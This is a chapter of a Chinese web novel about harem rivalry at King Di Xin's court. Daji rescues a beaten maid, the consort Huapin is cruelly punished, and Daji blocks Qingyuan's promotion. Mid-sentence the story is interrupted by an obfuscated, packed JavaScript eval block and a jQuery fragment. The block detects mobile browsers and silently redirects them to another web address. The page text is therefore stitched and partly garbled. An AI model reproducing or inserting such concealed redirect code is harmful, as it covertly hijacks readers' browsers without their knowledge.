印儿得了武庚的叮嘱,不敢耽搁,立刻打发人去太医院取药。那太医一听说要药的是延庆殿,只当是受宠的妲己宫里出了变故,不敢有半分怠慢,匆匆备齐所需药品交给来人,又急匆匆地跑到轩辕殿旁候着——他深知帝辛对妲己的看重,万一真是妲己出了事,自己少不得要担责。也正因如此,帝辛刚一散朝,就从太医口中得知了延庆殿急需药品的消息。他生怕是妲己受了伤,连朝服都顾不上换,往日里对那只猛虎的忌惮也抛到了九霄云外,脚下生风般直奔延庆殿而来。
帝辛赶到延庆殿外,抬眼望去,殿外安安静静,既没有主子出事的慌乱,也没有猛兽伤人的迹象,悬着的心稍稍放下了些,却仍不敢完全放松。他疾步跨进殿内,一眼就看见妲己穿着一身嫩黄色的衣裙,正低头忙着什么。走近了才发现,殿中榻上躺着一个受伤的丫头,妲己正拿着刚取来的药粉,和印儿一起小心翼翼地给她上药。
帝辛俯身查看,见那丫头身上满是棍伤,衣衫破烂不堪,脸上也带着红肿的痕迹,显然是被人狠狠打过。他细细打量了一番,觉得这丫头面生得很,不像是延庆殿常伺候的人,便开口问道:“这丫头是在哪里被打成这样的?”
帝辛的声音突然响起,正低头专注上药的妲己和印儿都被吓了一跳。妲己停下手中的动作,抬头看向他,眼中带着几分惊讶:“大王怎么来了?”
“听闻你这里急着要了不少药品,怕是你出了什么事,便急忙赶来了。”帝辛的目光落在那丫头的伤势上,眉头紧锁,“这到底是怎么回事?怎么会被打得这么惨?”
妲己本就不想主动告状,想起白日里华嫔的嚣张、邓氏和理氏的冷眼,还有自己为救人所受的委屈,她只是郁闷地看了帝辛两眼,便抿紧嘴唇,一言不发。帝辛见状,又将目光投向印儿,指望她能说出些缘由。可印儿原本就不清楚事情的前因后果,被帝辛这般盯着,只觉得浑身不自在,脸上满是茫然与窘迫,只能扭头去看妲己。可妲己只是偏着脸,依旧抿着嘴不肯出声。
印儿被帝辛盯得实在熬不住了,忽然想起白日里在场的人,便硬着头皮开口:“奴才……奴才实在不知详情。只是先前殿里寻不着娘娘,奴才到处寻找,忽然听到延庆殿下方不远处吵吵嚷嚷的,生怕娘娘吃亏,便急忙跑了过去。等奴才到的时候,这丫头已经被打得不成样子了。是娘娘让奴才找人把这丫头抬回来的,所以奴才并不清楚事情的前后经过。只是……”
印儿说到这里,微微迟疑了一下,偷偷瞥了妲己一眼,见她既没有要拦着自己的意思,也没有催着自己说下去的神情,仿佛自己说不说都无所谓一般,心中不免有些困惑。帝辛却最是不耐有人说话吞吞吐吐,当即催问道:“只是什么?快说!”
“只是奴才到的时候,看见曼夫人和姚夫人都站在一旁,离这丫头最近的是华嫔娘娘。三人手里都没有打人的东西,旁边虽然站着不少侍卫和内侍,也都离得远远的,不像是动手打的人。似乎……似乎是我们娘娘原本拦不住华嫔打人,恰巧武庚太子来延庆殿取旧时配制的香料,开口帮了一句,娘娘才得以救下这个丫头。”印儿一五一十地说道,刻意隐去了武庚事前就在殿中配香的细节。
“庚儿?”帝辛皱起眉头,语气中满是不解,“庚儿向来性子冷淡,不管闲事,怎么会突然插手这种事?”
妲己听出帝辛言语中的疑惑,又见印儿有意避讳了武庚事前在殿中的事,心中暗暗松了口气——她知道印儿是了解帝辛的心性,怕多说多错,引来不必要的猜忌。虽说她与武庚之间并无不可告人的事,可白日里台阶上的暧昧纠缠终究让她心虚。她连忙接过话头,解释道:“大王,这事也怪妲己。妲己初入宫,不熟悉宫规,见华嫔打得太狠,一时心软想要救下这丫头,却不料被曼夫人和姚夫人责备,说妲己连宫规都未曾记熟。姚夫人还说,妲己只顾着晚上陪大王、白天陪猛虎,根本没时间去背宫规。想来是这话被太子听了去,太子不知怎么就动了怒,才出手管了这事,帮妲己救下了这丫头。”
帝辛原本没把理氏的话放在心上,可听到妲己说太子是因为这句话动了怒,略一回想,顿时品出了话里的不对劲。理氏这话看似是针对妲己,实则是连带着不尊重自己——把自己与猛虎相提并论,岂不是大不敬?帝辛心中顿时升起一股怒火,自此之后,对理氏更是愈发不待见。
只说眼下,帝辛原本根本不在意一个丫头的死活,别说一个小小的奴婢,便是二十七世妇,随便死上几个,他也不会放在心上。可这事既然是妲己关心的,连向来不管闲事的庚儿都动了怒,他不免生出了几分好奇,又追问了一句:“究竟是怎么回事?华嫔为何要如此狠心地打她?”
妲己见帝辛追问,心中清楚,经过今日之事,自己已然和华嫔、邓氏、理氏三人结下了仇怨,尤其是华嫔,若是有机会,定然不会放过自己。她索性一横心,将事情的前因后果一五一十地说了出来,只是刻意瞒去了自己送武庚下山的那段插曲,只说自己原本想带着猛虎在附近走走,无意间听到了打骂哭叫之声,一时好奇上前查看,才卷入了这场风波。
帝辛听完,得知华嫔竟是因为一个奴婢惦记自己、想要邀宠,就下此狠手,甚至险些将人打死,顿时火冒三丈。他碍于在妲己面前,强压着怒火没有发作,可牙关却咬得咯咯作响,拳头也攥得紧紧的,半天没有说话。妲己自然知道帝辛为何发怒,心中暗暗揣测着他会如何发落华嫔。
一旁的印儿心里却满是郁闷:娘娘这真是没事找事,好端端的,偏要把这么一个上赶着巴结大王的丫头救回来。方才给这丫头擦身子上药时她就看清了,这丫头面庞清秀,身段也不错,还透着一股子和华嫔相似的妖媚劲儿。印儿暗自感叹“主子带什么奴才”,转念一想,只怕往后宫里又要多一个和华嫔一样争宠的人了。
谁知帝辛的心思全在妲己身上,他只是随意看了那丫头一眼,生怕妲己会吃味,反倒开口安慰道:“这丫头是不是真的因为想要邀宠才被打的,还未可知,你也不必多想。”其实帝辛见多了后宫的阴谋诡计,心中也和武庚有着同样的疑惑——这丫头的行为不合常理,且邓氏和理氏的出现也太过巧合。只是他怕自己说对了会让妲己伤心,说错了又会惹她生气,便将疑虑压在了心底,只想着日后多加留意观察。
帝辛好言哄了妲己几句,见她情绪平复了些,便留在延庆殿和她一同用了午膳。饭后,他直接回了华夏宫,让人去请王后王氏。王氏赶来之后,帝辛当即降旨:华嫔侍奉大王期间,心存嫉妒,不以大王为重,且对上冲撞无理,着人截去舌头,五花大绑沉河;另拟擢升青鸢为部嫔。
妲己听闻这道旨意,心中不由得为华嫔生出几分感慨——虽说华嫔性子嚣张,手段狠毒,可落得如此下场,也实在太过凄惨。她实在不明白,帝辛为何会下这般狠手。
帝辛却有自己的盘算:华嫔既然已经和妲己结了仇怨,连自己唯一的儿子都出言责备她,以华嫔的性子,日后定然会兴风作浪,报复妲己。更何况,华嫔的长处本就只有容貌,如今有了妲己,华嫔那张脸便没了任何价值。只是他也清楚,这事恐怕还没完,想要彻底安稳,怕是没那么容易。至于青鸢,原是王后王氏举荐的,王氏说青鸢在了你中算是个有才干的人,帝辛便没有驳回。
岂料帝辛要擢升青鸢的消息传来,印儿顿时变得焦躁不安,一整天都在殿中叹气跺脚,来回踱步,一刻也不得安宁。妲己见她如此反常,心中十分困惑,便开口问道:“印儿,你这是怎么了?为何这般焦躁?”
“娘娘,那青鸢和华嫔根本就是一路货色!”印儿停下脚步,语气急切地说道,“她们二人平日里就走得极近,青鸢还一直巴结着曼夫人和姚夫人。她本身心思就重,手段更是素来狠辣。若是真的提拔了她,让她有了地位,定然会愈发难缠,娘娘日后的日子只怕会更难安稳了!”
妲己原本对谁上位、谁失势并不在意,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028928|194484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可听印儿这么一说,心中也不由得担忧起来。她知道,今日之事不过是深宫争斗的冰山一角,往后类似的事情恐怕还会遇到。她想了想,决定试着阻拦这件事。
晚间,帝辛来到延庆殿,见妲己皱着眉头,一副心事重重的模样,便开口问道:“爱妃,你这是在想什么?为何闷闷不乐的?”
“大王,不要封那青鸢好不好?”妲己说着,轻轻靠在帝辛的胸口,将脸颊贴在他的心上,语气带着几分撒娇的软糯。
“哦?你这是吃醋了?”帝辛闻言,顿时大喜过望,只当妲己是在意自己。
妲己能清晰地感受到帝辛加速的心跳,心中暗暗松了口气——她知道,自己在帝辛心中的地位确实不低,这让她多了几分底气。她继续说道:“大王,不是妲己吃醋。之前那青鸢对我就不大尊重,妲己见过她两次,两次都见她和华嫔黏在一起。若是让她有了势力,怕是又会像华嫔一样欺负妲己的。”
帝辛何曾听过妲己对自己说过这般软话,见她这般撒娇依赖自己,只觉得浑身轻飘飘的,对她的要求自然是无不应允。他转念一想,青鸢是王氏举荐的,王氏必然知晓青鸢与华嫔、邓氏等人的关系纠葛,却还是举荐了青鸢,其中恐怕另有深意。他怀抱着妲己,眉头却偷偷皱了起来,心中开始暗自谋划。
次日一早,帝辛便让人通知王氏,说近日有王侯之女即将长成,若是九嫔之位满了,日后便不好安排,因此撤销擢升青鸢为部嫔的旨意。王氏自然不好再坚持,更何况帝辛惦记着收纳其他贵族女子入宫的心思,她也不好当众点破。于是,王氏暗地里让人通知了青鸢一声,明面上则毫无动静。宫中其他人见擢升青鸢的旨意迟迟没有执行,私下里议论纷纷,足足过了两个多月,这场风波才渐渐平息。
而青鸢,原本以为自己能一步登天,从世妇晋升为部嫔,满心欢喜,却不料骤然从云端跌落。她不知道自己究竟哪里出了错,鉴于华嫔的悲惨下场,也不敢随意责打宫人发泄怒火,心中的郁气无处发泄,又受不了旁人的指指点点,竟一病不起,缠绵病榻半个多月。这一场病,自然也成了宫中众人的笑料。
好不容易等青鸢的身子恢复了,她细细打听,才得知是在妲己侍寝之后,帝辛才改了主意。青鸢心中顿时认定是妲己从中作梗,阻拦了自己的晋升之路。可她也清楚,帝辛明明白白地袒护着妲己,自己根本不是对手,只能在心里暗暗咒骂。可越骂,心中的恨意就越浓,从此之后,她便日夜盼着有机会能报复妲己,发誓一定要狠狠作践她,才能解心头之恨。
再说王后王氏,刚得知帝辛要她撤回擢升青鸢的旨意时,便猜到是妲己的缘故。但她也明白,妲己这么做不过是为了在这深宫中好好活下去,便也没有太过在意。后来又有人将妲己那日与华嫔争执的始末细细禀报给她,王氏听后,只是略微沉思了片刻,并未表露任何态度。
宫中渐渐有了流言,说照此下去,妲己迟早会取代王氏的后位。可王氏对此却不以为然——她与妲己之间,终究还隔着三位夫人。只要自己行事谨慎,不犯大错,凭妲己再怎么得宠,也没有封后的道理。此时与其费力打压妲己,惹得帝辛不快,不如明面上顺着帝辛的意思,对妲己多加“宠爱”,暗地里悄悄留意她的一举一动,见机行事便是。
妲己一时之间宠冠后宫,且是月复一月的专宠。宫中众人虽因她的恩宠而对她心生怨恨,树了不少敌人,可华嫔的悲惨下场就摆在眼前,没人敢真正对她动手。连华嫔只是稍稍招惹了她,就落得个被拔舌沉河的下场,众人都怕自己万一不小心触怒了妲己,会落得比华嫔更凄惨的下场。
可妲己心中清楚,这表面上的风平浪静,不过是暴风雨来临前的预兆。她深陷这恩宠的牢笼,看似风光无限,实则步步惊心。不久之后,一场腥风血雨即将席卷后宫,届时,便是她想收手,也由不得自己了。那份青春的懵懂与憧憬,早已在深宫的算计与悲悯中,被消磨得面目全非。